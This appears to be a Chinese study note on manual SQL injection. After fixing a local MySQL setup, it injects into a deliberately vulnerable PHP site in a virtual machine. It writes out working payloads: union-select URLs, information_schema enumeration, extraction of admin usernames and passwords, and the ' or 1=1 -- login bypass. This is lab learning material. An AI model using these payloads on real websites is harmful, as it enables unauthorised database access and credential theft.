SQL注入漏洞
问题1:
安装Appserv来搭载MySQL环境,结果因为电脑本来安装的有phpstudy,这样做就是多余的,然后搭建本地网站,结果报错说MySQL无法启动,80端口被占用。
排查一下是什么占用了80端口,用
netstat -ano |findstr 80
命令来找一下:
最后经过查找发现是昨天安装的SQL Server有个SQL Server Reporting Services (MSSQLSERVER)服务占用了80端口,在服务里面先把他停止,然后再禁用,这样80端口就空闲了。
phpstudy的MySQL环境也能正常使用了。
问题2:
遇到了MySQL命令行闪退打不开
网上搜索到的解决办法:
1、找到mysql安装目录下的bin目录路径。
2、打开cmd,进入到bin目录的路径下,输入mysql -u root -p 即可。
进入MySQL命令行,我们首先创建好test数据库,hack,news表,并插入数据:
首先了解几个select查询
爆表名
通过已知的news表查询来猜测是否有hack这个表,如果没有就会报错,因为是用and连接的
select * from news where id =1 and exists(select * from hack);
爆字段名
进一步的通过exists来猜测表的字段名
select * from news where id =1 and exists(select username from hack);
爆字段数
通过order by id 排序来猜测字段数,id是多少就是按照第几列进行默认升序排列(oder by id asc),降序排列(order by id desc)
select * from hack order by 3;
union select 联合查询
union联合查询可以一次性执行两个或多个查询,并将它们的结果组合在一起输出显示。
所以union有字段数必须要前后一样的约束。
如:
字段数不匹配,查询报错:
select * from news union select * from hack;
下面的查询都是两个字段,匹配成功查询:
select * from news union select username ,password from hack;
但前一个查询字段小于后一个查询怎么办呢?
这里news只有两个字段,而hack是三个,
可以自己添加字段显示来匹配查询:
select * from hack union select 1,id,title from news;
这里就会在第一个字段显示我们输入的1
也可以输入其他的比如:
MySQL中的注释语句
单行注释
#,以“#”号开头,直到该行行尾,全部都是注释内容;
– 空格,以“-- ”号开头,直到该行行尾,全部都是注释内容。(“-- ”与注释内容之间要加有空格)
select * from hack where username='' or 1=1 --
-> ;
基于NPMserv搭建本地网站的手工sql注入
首先在win7虚拟机里面使用NPMserv搭建好本地网站(www文件夹里面默认的是一个政府网站),然后用真机进行访问 寻找注入点:
先在id = 45 后面 and 1=1 回显正确,再and 1=2 没有回显,这里是一个注入点。
用group by 猜测出字段数是4 http://192.168.71.131/dy_show.php?dy_id=45%20group%20by%204
接下来就可以进行union查询,来看看网站上会显示什么:
http://192.168.71.131/dy_show.php?dy_id=45%20and%201=2%20union%20select%201,2,3,4
这里union 前面用了 and 1=2 来置错屏蔽掉我们不需要的信息显示,可以看到2,3字段是有回显的
这里就可以看看数据库版本version(),当前数据库database()、user()管理员等:
这里我们利用对元数据库information_schema进行查询
在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其它数据库的信息。
在对PHP+MySQL类网站进行注入时,主要就是针对information_schema数据库进行操作。
schemata:用于存放所有数据库的名字。
tables:用于存放所有数据库中的数据表的名字。
columns:用于存放所有数据库的所有数据表中的所有字段的名字。
即可以构造查询语句
查看test数据库中包含了哪些表:
select table_name from information_schema.tables where table_schema="test";
查看hack数据表中包含了哪些字段:
select column_name from information_schema.columns where table_name="hack";
然后我用构造好的union 语句去查询govcn这个数据库的表,结果怎么查询都没有结果,
最后发现是admin表是空的 ,裂开了 然后我用万能密码进了后台创建了一个test用户,再查询就找的到了:
http://192.168.71.131/dy_show.php?dy_id=45%20and%201=2%20union%20select%201,unhex(hex(username)),unhex(hex(password))%20,4%20from%20admin
这里面group_concat()函数以显示字段中的所有内容。利用unhex(hex())函数进行编码转换,解决网站编码不一致导致的问题。
密码是mod5加密,解密出来111,登录网站后台,当然这个网站漏洞很多 用万能密码也可以直接进入
' or 1=1 --
' or 1=1 #